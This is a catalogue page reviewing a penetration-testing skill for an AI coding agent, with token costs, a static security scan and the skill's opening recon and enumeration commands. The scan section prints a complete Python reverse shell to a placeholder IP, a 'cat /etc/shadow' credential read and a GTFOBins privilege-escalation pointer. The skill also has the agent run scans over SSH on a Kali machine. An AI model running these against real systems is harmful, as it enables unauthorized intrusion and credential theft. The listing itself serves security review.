pentest-workflow

pentest-workflow is a skill for Claude Code from CarbeneAI/Forge. It costs 74 tokens per session (2,193 once invoked), scanned B, original, MIT.

A structured guide to penetration testing, which is authorized security testing that simulates attacks on systems and applications. It covers reconnaissance, service discovery, exploitation, privilege escalation, and reporting.

In plain words
What is it for?
Use it to plan network or web-application tests, work through CTF or certification exercises, and document security findings.
Why use it?
It gives security work a repeatable sequence and keeps findings organized from initial discovery through the final report.

Skill for Claude Code

Written for Claude Code: installed under .claude/. Also seen: reads .claude/ paths.

Needs its repository: it runs a file that does not travel with it, so clone the repository first. The line is ./linux-smart-enumeration/lse.sh -l 1.

Good fit Use it to plan network or web-application tests, work through CTF or certification exercises, and document security findings.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/CarbeneAI/Forge
agentmods
npx agentmods add skills/carbeneai/forge/pentest-workflow

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for pentest-workflow

README.md
[![agentmods](https://agentmods.dev/badge/skills/carbeneai/forge/pentest-workflow/github.svg)](https://agentmods.dev/skills/carbeneai/forge/pentest-workflow)
Your own site
<a href="https://agentmods.dev/skills/carbeneai/forge/pentest-workflow"><img src="https://agentmods.dev/badge/skills/carbeneai/forge/pentest-workflow/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for pentest-workflow

Your own site · 80×15
<a href="https://agentmods.dev/skills/carbeneai/forge/pentest-workflow"><img src="https://agentmods.dev/badge/skills/carbeneai/forge/pentest-workflow.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 74 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,193 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00074 $0.02193
Opus 5 $0.00037 $0.01097
Sonnet 5 $0.00015 $0.00439
Haiku 4.5 $0.00007 $0.00219

Measured 8d ago against content hash 61028aa16d38, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade B, and why

pentest-workflow scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/recon.sh), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

**GTFOBins:** Check https://gtfobins.github.io/ for SUID/sudo exploits

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat /etc/shadow

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
.claude/skills/pentest-workflow/SKILL.md · 276 lines

How it starts

The opening of the file, as written. The whole thing — 276 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Pentest Workflow

Structured methodology for penetration testing engagements, CTFs, and certification prep (OSCP/PNPT).

Kali MCP Integration

MCP Server: kali-ssh (configured in ~/.claude/mcp.json)

  • Host: 10.0.0.50 (Proxmox VM — configure your Kali IP)
  • User: youruser
  • Status: Configure in mcp.json

Usage: All commands in this skill can be executed on the Kali VM by asking Claude to run them. Simply say:

  • "Run nmap scan on [target] using Kali"
  • "Execute gobuster on [URL] via Kali"
  • "Check for SUID binaries on Kali"

Claude will automatically execute commands on your Kali system via the MCP SSH connection.

Methodology Overview

1. RECON → 2. ENUM → 3. EXPLOIT → 4. POST-EXPLOIT → 5. REPORT
     ↓          ↓          ↓              ↓              ↓
  Passive    Services   Initial       PrivEsc        Document
  + Active   + Vulns    Access        + Loot         Findings

Phase 1: Reconnaissance

Passive Recon

# DNS enumeration
whois <domain>
dig any <domain>
host -t any <domain>
dnsrecon -d <domain>

# Subdomain discovery
subfinder -d <domain> -o subs.txt
amass enum -passive -d <domain>

# OSINT
theHarvester -d <domain> -b all

Active Recon

# Host discovery
nmap -sn 10.10.10.0/24 -oG hosts.txt
netdiscover -r 10.10.10.0/24

# Full TCP scan (save time with staged approach)
nmap -p- --min-rate 10000 -oN ports.txt <IP>
nmap -sC -sV -p <ports> -oN detailed.txt <IP>

# UDP quick scan (top 20 ports)
nmap -sU --top-ports 20 -oN udp.txt <IP>

Phase 2: Enumeration

Port-Based Enumeration

Enumerate based on discovered services. See references/service-enum.md for comprehensive commands per service.

Port Service Quick Check
21 FTP ftp <IP> (try anonymous)
22 SSH Banner grab, check version vulns
25 SMTP smtp-user-enum, relay tests
53 DNS Zone transfer: dig axfr @<IP> <domain>
80/443 HTTP(S) See Web Enumeration below
88 Kerberos Kerbrute, AS-REP roasting
110/143 POP3/IMAP Check for cleartext auth
135 RPC rpcclient -U "" <IP>
139/445 SMB See SMB Enumeration below
389/636 LDAP ldapsearch, AD enumeration
1433 MSSQL impacket-mssqlclient
3306 MySQL mysql -h <IP> -u root
3389 RDP Check NLA, BlueKeep
5985 WinRM evil-winrm if creds

Read the full file on GitHub · 276 lines

Files

What ships with it

5 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 276 lines · 74 tokens per session scan B 61028aa16d38

Subscribe to this mod's changes

pentest-workflow is a skill published in the GitHub repository CarbeneAI/Forge (9 stars, last pushed 1mo ago), licensed MIT. It adds 74 tokens to every session and 2,193 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 3 findings (asks for root, reaches for credential files, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

scanning-containers-with-trivy-in-cicd

This skill covers integrating Aqua Security's Trivy scanner into CI/CD pipelines for comprehensive container image vulnerability detection. It addresses scanning Docker images for OS package and application dependency CVEs, detecting misconfigurations in Dockerfiles, scanning filesystem and git repositories, and…

xalgorix/xalgorix · 74 tokens

implementing-code-signing-for-artifacts

This skill covers implementing code signing for build artifacts to ensure integrity and authenticity throughout the software supply chain. It addresses signing binaries, packages, and containers using GPG, Sigstore, and platform-specific signing tools, establishing trust chains, and verifying signatures in deployment…

xalgorix/xalgorix · 62 tokens

implementing-semgrep-for-custom-sast-rules

Write custom Semgrep SAST rules in YAML to detect application-specific vulnerabilities, enforce coding standards, and integrate into CI/CD pipelines.

xalgorix/xalgorix · 37 tokens

building-vulnerability-dashboard-with-defectdojo

Deploy DefectDojo as a centralized vulnerability management dashboard with scanner integrations, deduplication, metrics tracking, and Jira ticketing workflows.

26zl/cybersec-toolkit · 37 tokens

panguard

AI agent security platform — audit skills, scan for threats, and run 24/7 protection with 9,700+ detection rules.

panguard-ai/panguard-ai · 30 tokens

detecting-aws-credential-exposure-with-trufflehog

Detecting exposed AWS credentials in source code repositories, CI/CD pipelines, and configuration files using TruffleHog, git-secrets, and AWS-native detection mechanisms to prevent credential theft and unauthorized account access.

xalgorix/xalgorix · 54 tokens